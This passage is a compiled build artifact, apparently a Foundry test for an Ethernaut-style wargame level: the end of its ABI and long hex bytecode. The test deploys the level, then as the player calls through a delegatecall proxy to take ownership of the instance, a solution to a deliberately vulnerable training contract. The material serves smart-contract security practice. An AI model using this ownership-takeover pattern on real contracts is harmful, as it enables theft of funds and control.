,"inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506163b7806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b75565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bb8565b620001b3620001fa36600462001ca4565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d77565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e3a565b620001da6200025736600462001f07565b62000ee3565b6200019a62001073565b620002716200121c565b604051620001c7919062001f1f565b620001b36200029136600462001f85565b620012f1565b6200023762001410565b620002b8620002b236600462001fa3565b620014f5565b6040519015158152602001620001c7565b6200027162001685565b6200019a6200175a565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200180c565b620001da620018e0565b6200019a6200032f36600462001f07565b62001940565b601e54620002b89060ff1681565b5f62000350600262000ee3565b9050805f8151811062000367576200036762001fdf565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fdf565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012f1565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b28565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002080565b9050806001825162000982919062002210565b8151811062000995576200099562001fdf565b60200260200101515f0151600281518110620009b557620009b562001fdf565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002226565b90505f81848560405160200162000acd92919062002278565b60408051601f198184030181529082905262000aed929160200162002326565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002358565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002226565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019b490919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b906200236c565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb9906200236c565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000eca57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b0319168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f025762000f0262001c06565b60405190808252806020026020018201604052801562000f2c578160200160208202803683370190505b5090505f5b838110156200106c575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f79573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000f9f9190620023a6565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b1580156200101d575f80fd5b505af115801562001030573d5f803e3d5ffd5b50505050808383815181106200104a576200104a62001fdf565b6001600160a01b03909216602092830291909101909101525060010162000f31565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010ca575f80fd5b505af1158015620010dd573d5f803e3d5ffd5b505060215460408051600481526024810182526020810180516001600160e01b03167fdd365b8b0000000000000000000000000000000000000000000000000000000017905290515f94506001600160a01b0390921692506200114091620023c4565b5f604051808303815f865af19150503d805f81146200117b576040519150601f19603f3d011682016040523d82523d5f602084013e62001180565b606091505b5050905080620011f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f63616c6c206e6f74207375636365737366756c00000000000000000000000000604482015260640160405180910390fd5b602054602154620012199162001213916001600160a01b039182169116620014f5565b62001a56565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200125f906200236c565b80601f01602080910402602001604051908101604052809291908181526020018280546200128d906200236c565b8015620012dc5780601f10620012b257610100808354040283529160200191620012dc565b820191905f5260205f20905b815481529060010190602001808311620012be57829003601f168201915b5050505050815260200190600101906200123f565b5f80604051620013019062001b36565b604051809103905ff0801580156200131b573d5f803e3d5ffd5b5090505f6040516200132d9062001b44565b604051809103905ff08015801562001347573d5f803e3d5ffd5b508483604051620013589062001b52565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001392573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013f1575f80fd5b505af115801562001404573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014dc57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b031916815260200190600401906020826003010492830192600103820291508084116200149d5790505b5050505050815250508152602001906001019062001433565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001551575f80fd5b505af115801562001564573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015c2575f80fd5b505af1158015620015d5573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001639573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001662919081019062002080565b90506001815111156200167a5760019150506200167f565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016c8906200236c565b80601f0160208091040260200160405190810160405280929190818152602001828054620016f6906200236c565b8015620017455780601f106200171b5761010080835404028352916020019162001745565b820191905f5260205f20905b8154815290600101906020018083116200172757829003601f168201915b505050505081526020019060010190620016a8565b6023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b158015620017ca575f80fd5b505af1158015620017dd573d5f803e3d5ffd5b50506020546021546200180a93506200180492506001600160a01b039182169116620014f5565b62001ad5565b565b6008545f9060ff161562001824575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018d99190620023e1565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200194d8243620023f9565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a0b90869086906004016200240f565b5f60405180830381865afa15801562001a26573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a4f919081019062002440565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001abb575f80fd5b505afa15801562001ace573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001aa4565b610802806200247783390190565b610ae58062002c7983390190565b611e7a806200375e83390190565b610daa80620055d883390190565b6001600160a01b038116811462001219575f80fd5b5f805f6060848603121562001b88575f80fd5b833562001b958162001b60565b9250602084013562001ba78162001b60565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bfa5783516001600160a01b03168352928401929184019160010162001bd3565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c405762001c4062001c06565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c725762001c7262001c06565b604052919050565b5f67ffffffffffffffff82111562001c965762001c9662001c06565b50601f01601f191660200190565b5f6020828403121562001cb5575f80fd5b813567ffffffffffffffff81111562001ccc575f80fd5b8201601f8101841362001cdd575f80fd5b803562001cf462001cee8262001c7a565b62001c46565b81815285602083850101111562001d09575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4257818101518382015260200162001d28565b50505f910152565b5f815180845262001d6381602086016020860162001d26565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2b57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1457605f1988850301835262001e0184865162001d4a565b948d01949350918c019160010162001de2565b505050968901969350509087019060010162001d9c565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ef957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ee35783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e9f565b5096890196945050509086019060010162001e61565b509098975050505050505050565b5f6020828403121562001f18575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f7857603f1988860301845262001f6585835162001d4a565b9450928501929085019060010162001f46565b5092979650505050505050565b5f6020828403121562001f96575f80fd5b813562001a4f8162001b60565b5f806040838503121562001fb5575f80fd5b823562001fc28162001b60565b9150602083013562001fd48162001b60565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200200f576200200f62001c06565b5060051b60200190565b5f6200202962001cee8462001c7a565b90508281528383830111156200203d575f80fd5b62001a4f83602083018462001d26565b5f82601f8301126200205d575f80fd5b62001a4f8383516020850162002019565b80516200207b8162001b60565b919050565b5f602080838503121562002092575f80fd5b825167ffffffffffffffff80821115620020aa575f80fd5b818501915085601f830112620020be575f80fd5b8151620020cf62001cee8262001ff3565b81815260059190911b83018401908481019088831115620020ee575f80fd5b8585015b83811015620021ef578051858111156200210a575f80fd5b86016060818c03601f1901121562002120575f80fd5b6200212a62001c1a565b88820151878111156200213b575f80fd5b8201603f81018d136200214c575f80fd5b898101516200215f62001cee8262001ff3565b81815260059190911b8201604001908b8101908f8311156200217f575f80fd5b6040840193505b82841015620021a15783518252928c0192908c019062002186565b8452505050604082015187811115620021b8575f80fd5b620021c88d8b838601016200204d565b8a83015250620021db606083016200206e565b6040820152845250918601918601620020f2565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200167f576200167f620021fc565b5f6020828403121562002237575f80fd5b815167ffffffffffffffff8111156200224e575f80fd5b8201601f810184136200225f575f80fd5b620022708482516020840162002019565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022b181600585016020880162001d26565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f081600a84016020880162001d26565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200233981846020880162001d26565b8351908301906200234f81836020880162001d26565b01949350505050565b602081525f62001a4f602083018462001d4a565b600181811c908216806200238157607f821691505b602082108103620023a057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023b7575f80fd5b815162001a4f8162001b60565b5f8251620023d781846020870162001d26565b9190910192915050565b5f60208284031215620023f2575f80fd5b5051919050565b808201808211156200167f576200167f620021fc565b604081525f62002423604083018562001d4a565b828103602084015262002437818562001d4a565b95945050505050565b5f6020828403121562002451575f80fd5b815167ffffffffffffffff81111562002468575f80fd5b62002270848285016200204d56fe608060405234801561000f575f80fd5b5061001933610077565b5f80604051610027906100c6565b6001600160a01b039091168152602001604051809103905ff080158015610050573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055506100d3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61016b8061069783390190565b6105b7806100e05f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610366565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610388565b61016f565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610366565b6101f0565b610114610285565b61011d5f6102de565b565b6001546040515f9182916001600160a01b039091169061013e90610345565b6001600160a01b039091168152602001604051809103905ff080158015610167573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101de91906103bf565b6001600160a01b031614949350505050565b6101f8610285565b6001600160a01b0381166102795760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610282816102de565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610270565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101a7806103db83390190565b6001600160a01b0381168114610282575f80fd5b5f60208284031215610376575f80fd5b813561038181610352565b9392505050565b5f8060408385031215610399575f80fd5b82356103a481610352565b915060208301356103b481610352565b809150509250929050565b5f602082840312156103cf575f80fd5b81516103818161035256fe608060405234801561000f575f80fd5b506040516101a73803806101a783398101604081905261002e9161005b565b600180546001600160a01b039092166001600160a01b03199283161790555f805490911633179055610088565b5f6020828403121561006b575f80fd5b81516001600160a01b0381168114610081575f80fd5b9392505050565b610112806100955f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033a264697066735822122040d229bd9214a278d33c9e0e717de8f022e585df655ddd540d8bb80edc6e3eb364736f6c63430008180033608060405234801561000f575f80fd5b5060405161016b38038061016b83398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b60e08061008b5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80638da5cb5b146034578063dd365b8b14607b575b5f80fd5b5f5460529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60a85f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b00fea264697066735822122076e1b3cea2eecc6a3605124996c9faa9215602b412a172d566c9aceae72884ec64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b81526020600482015260296024820